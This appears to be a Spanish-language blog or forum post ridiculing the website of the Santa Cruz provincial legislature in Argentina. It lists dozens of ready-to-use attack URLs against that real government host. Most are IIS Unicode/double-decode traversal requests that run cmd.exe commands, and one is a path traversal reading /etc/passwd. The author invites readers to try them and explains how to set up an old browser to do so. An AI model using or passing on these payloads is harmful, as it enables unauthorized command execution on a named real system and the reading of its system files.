"HONORABLE" Camara de DiPUTEAdos
Hace tiempo que ando boludeando y boludeando en internet y hoy se me cruzo por la cabeza hacer una breve auditoria de seguridad a la pagina de la camara de diputados de la provincia de Santa Cruz y me encuentro con esto:
http://hcdsc.gov.ar/cgi-bin/..%255c..%255c/..%255c..%255c/..%255c..%255c/winnt/system32/cmd.exe?/c+dir+c:\
http://hcdsc.gov.ar/iisadmpwd/..%255c..%255c/..%255c..%255c/winnt/system32/cmd.exe?/c+dir
http://hcdsc.gov.ar/_vti_bin/..%255c..%255c/..%255c..%255c/winnt/system32/cmd.exe?/c+dir
http://hcdsc.gov.ar/msadc/..%255c..%255c/..%255c..%255c/winnt/system32/cmd.exe?/c+dir
http://hcdsc.gov.ar/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
http://hcdsc.gov.ar/..%c0%af../..%c0%af../sensepost.exe?/c+dir
http://hcdsc.gov.ar/..%c0%af../..%c0%af../cmd1.exe?/c+dir
http://hcdsc.gov.ar/..%c0%af../..%c0%af../cmd.exe?/c+dir
http://hcdsc.gov.ar/iisadmpwd/sensepost.exe?/c+dir
http://hcdsc.gov.ar/iisadmpwd/cmd1.exe?/c+dir
http://hcdsc.gov.ar/iisadmpwd/cmd.exe?/c+dir
http://hcdsc.gov.ar/samples/sensepost.exe?/c+dir
http://hcdsc.gov.ar/samples/cmd1.exe?/c+dir
http://hcdsc.gov.ar/samples/cmd.exe?/c+dir
http://hcdsc.gov.ar/cgi-bin/cmd.exe?/c+dir
http://hcdsc.gov.ar/vti_cnf/sensepost.exe?/c+dir
http://hcdsc.gov.ar/vti_cnf/cmd1.exe?/c+dir
http://hcdsc.gov.ar/vti_cnf/cmd.exe?/c+dir
http://hcdsc.gov.ar/vti_bin/sensepost.exe?/c+dir
http://hcdsc.gov.ar/vti_bin/cmd1.exe?/c+dir
http://hcdsc.gov.ar/vti_bin/cmd.exe?/c+dir
http://hcdsc.gov.ar/msadc/sensepost.exe?/c+dir
http://hcdsc.gov.ar/msadc/cmd1.exe?/c+dir
http://hcdsc.gov.ar/msadc/cmd.exe?/c+dir
http://hcdsc.gov.ar/scripts/sensepost.exe?/c+dir
http://hcdsc.gov.ar/scripts/cmd1.exe?/c+dir
http://hcdsc.gov.ar/scripts/cmd.exe?/c+dir
http://hcdsc.gov.ar/sensepost.exe?/c+dir
http://hcdsc.gov.ar/cmd1.exe?/c+dir
http://hcdsc.gov.ar/cmd.exe?/c+dir
http://hcdsc.gov.ar/parse_xml.cgi?
http://hcdsc.gov.ar/cgi-bin/anacondaclip.pl?template=../../../../../../../../../../../../../../../../../../etc/passwd
http://hcdsc.gov.ar/src/read_body.php
http://hcdsc.gov.ar/mail/src/read_body.php
http://hcdsc.gov.ar/squirrelmail/src/read_body.php
http://hcdsc.gov.ar/cgi-shl/win-c-sample.exe
http://hcdsc.gov.ar/cp/rac/nsManager.cgi
Por si alguien quiere probar, les cuento que son vulnerabilidades viejas basadas en el bug Unicode/Decode que se presenta en los servidores IIS versiones 4.0 y 5.0 por lo tanto deben ser ejecutadas desde un Internet Explorer 4.0 o 5.0 (no es joda, en serio) Pero no os desespereis, si tenes muchas ganas de usarlas, simplemente instalate MS/Windows 98/95 en alguna PC vieja y listo, ya vas a podes hacerles un chiste a estos giles. Saludos
